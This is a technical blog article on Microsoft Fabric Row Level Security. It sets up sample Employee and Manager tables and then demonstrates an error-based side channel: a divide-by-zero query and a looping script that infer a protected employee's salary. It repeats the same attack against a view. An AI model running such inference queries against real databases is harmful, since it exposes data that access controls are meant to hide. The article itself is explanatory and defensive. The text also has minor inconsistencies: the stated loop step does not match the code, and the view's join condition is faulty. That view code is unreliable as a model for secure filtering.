Why you should be careful with Microsoft Fabric Row Level Security?

Today, companies collect a lot of important information that keeps their businesses running and helps them make big decisions. But here’s the problem: the more data they have, the harder it is to keep it safe. Whether it’s dealing with sneaky online threats or deciding who can see what is inside the company, it’s a real challenge.

However, there are some new tools like the security features in Fabric Warehouse and SQL Endpoint. They help companies protect their important information by giving them better ways to keep it safe. It’s pretty neat, isn’t it? Row Level Security is one of those most anticipated features in Fabric Warehouse. With Fabric Warehouse, we were provided with this mechanism, and many of us, after the initial demonstrations, envisioned the vast possibilities it offers. However, currently, it has a few minor gaps that need attention – I’ll attempt to describe one of them within this article.

As you probably know, Row Level Security in Fabric like other implementations of this mechanism (for example in SQL Server) is based on user-defined functions acting as a filtering predicate to restrict the result obtained or block specific actions. When a user sends data, for instance, in the form of a SELECT query, Fabric Warehouse must filter it appropriately according to the blocking predicate. This filtration occurs for each subsequent row in the table that the user queries. This carries certain consequences.

Row-Level Security (RLS) offers distinct advantages over utilizing views for security purposes. RLS simplifies the process of designing and coding security measures within applications. It enables more precise control over data access without necessitating an additional layer of abstraction, as is the case with views.

The key difference lies in the level of control and granularity RLS provides. While views offer a certain level of control over data access, RLS allows for more refined and precise restrictions without the need for an extra layer. This streamlines the development process, making it more straightforward and less complex, especially when handling various data access scenarios within applications.

In a company with multiple departments and centralized data, Row-Level Security proves valuable. It allows managers to access information specific to their teams only, ensuring privacy and segregation between departments in a shared database.

For instance, let’s outline this concept using a basic example. Initially, I’ve set up two tables named ‘Employee’ and ‘Manager’:

CREATE TABLE dbo.Employee
(
    EmployeeId INT,
    FirstName VARCHAR(50),
    LastName VARCHAR(50),
    Salary DECIMAL(8,2),
    ManagerId INT
)

CREATE TABLE dbo.Manager
(
    ManagerId INT,
    Login VARCHAR(50)
)

In order to enable robust testing, I propose inserting representative data into both the ‘Employee’ and ‘Manager’ tables. The following SQL commands will add essential sample records to simulate a functional dataset:

INSERT INTO dbo.Employee (EmployeeId, FirstName, LastName, Salary, ManagerId)
VALUES
    (1, 'John', 'Doe', 60000.00, 3),
    (2, 'Jane', 'Smith', 55000.50, 1),
    (3, 'Michael', 'Johnson', 70000.75, 1),
    (4, 'Emily', 'Brown', 48000.25, 2),
    (5, 'Robert', 'Wilson', 75000.00, 2),
    (6, 'Sarah', 'Lee', 62000.50, 1),
    (7, 'David', 'Hall', 58000.75, 1),
    (8, 'Maria', 'Garcia', 67000.00, 2),
    (9, 'William', 'Davis', 51000.25, 3),
    (10, 'Olivia', 'Martinez', 73000.50, 2);


INSERT INTO dbo.Manager (ManagerId, Login)
VALUES
    (1, 'adrian.chodkowski@elitmind.com'),
    (2, 'john.doe@elitmind.com'),
    (3, 'jane.doe@elitmind.com')

When we have the test objects ready, let’s proceed with the implementation of Row Level Security. Initially, we will create a function that will serve as a filtering predicate. It will return only the data from the ‘Employee’ table that is appropriate for the querying user. Essentially, the data from the ‘Employee’ table will be connected with the ‘Manager’ table and filtered to display only the employees associated with the currently querying user, where the Login column in the ‘Manager’ table will match the login of the current user. Optionally, we can include a condition that if the user belongs to the sysadmin group, all rows will be returned. This additional condition can be useful for troubleshooting. A crucial point to note is that while you can implement any logic you require, complex or “heavy” logic may impact the performance of data retrieval.

CREATE FUNCTION dbo.fn_secureSalaries(@ManagerID AS INT)  
    RETURNS TABLE  
WITH SCHEMABINDING  
AS  
    RETURN 
SELECT 1 AS result   
WHERE 
    EXISTS(
    SELECT NULL
    FROM
    dbo.Manager AS M
    WHERE( M.[ManagerId]=@ManagerId
        AND M.[Login] = USER_NAME() )
    )

Next, let’s create a Security Policy assign our function to it as the blocking predicate, and enable it:

CREATE SECURITY POLICY SalariesFilter  
ADD FILTER PREDICATE dbo.fn_secureSalaries([ManagerId])   
ON dbo.Employee 
WITH (STATE = ON);
GO

Let’s test the outcome – as you may have noticed, my login was assigned as a manager with an identifier equal to 1. Therefore, I should only see employees where I am assigned, and as you can see, it works as expected.

SELECT*FROM dbo.Employee

Now we will do something unusual we will try to break the check that is implemented as a filter predicate, in the below code I will try to divide 1 by 0 – yes getting an error is my goal in this demonstration! I will get 0 only when the first name is Robert and the Last Name is Wilson – if such a person exists in the table and additionally his Salary is equal to 1000 then 0 will be applied:

SELECT*FROM dbo.Employee
WHERE 1/IIF(FirstName='Robert' AND LastName='Wilson',0,1)=0
AND Salary=1000

As a result, you can see I get nothing:

If I manage to guess the correct combination of FirstName, LastName, and Salary by chance, I will encounter an error.

So, you now have access to the salary of a specific person for whom you do not have the privilege to view. You might assert that guessing an exact match can be challenging. However, one could employ a more creative approach, such as using a looping mechanism to attain the correct value. For instance, the simple ‘while’ loop below demonstrates how the script iterates by incrementing the salary by 100 for each iteration:

DECLARE @CheckValue DECIMAL(8,2)= 10000

WHILE 1=1
BEGIN
    BEGIN TRY
    SELECT*FROM dbo.Employee
    WHERE 1/IIF(FirstName='Robert' AND LastName='Wilson',0,1)=0
    AND Salary = @CheckValue
    END TRY
    BEGIN CATCH
            PRINT 'Record found!' + CAST(@CheckValue AS VARCHAR(15))
            BREAK
    END CATCH

SET @CheckValue =  @CheckValue + 1000          
END

Now, you’ve found the information without relying on guesswork.

Someone can say that this is unacceptable and that they want to use views to filter data. Let’s check views then! I created the view that simulates the same logic:

CREATE VIEW dbo.v_securedEmployees
AS
SELECT
E.*
FROM dbo.Employee AS E
JOIN dbo.Manager AS M
    ON E.ManagerId = E.ManagerId
WHERE M.Login = USER_NAME()

Now I will try to get an error in a similar way that I tried with RLS:

SELECT * FROM dbo.v_securedEmployees
WHERE 1/IIF(FirstName='Robert' AND LastName='Wilson',0,1)=0
AND Salary  = 75000.00

and guess what – I received the same error:

Microsoft emphasizes the importance of being mindful of such situations, as clearly stated in the documentation. I strongly recommend familiarizing yourself with the concept of “carefully crafted queries.” Monitoring the workload is crucial for promptly identifying such cases, particularly when relying on Row Level Security and when users possess the capability to execute ad-hoc queries.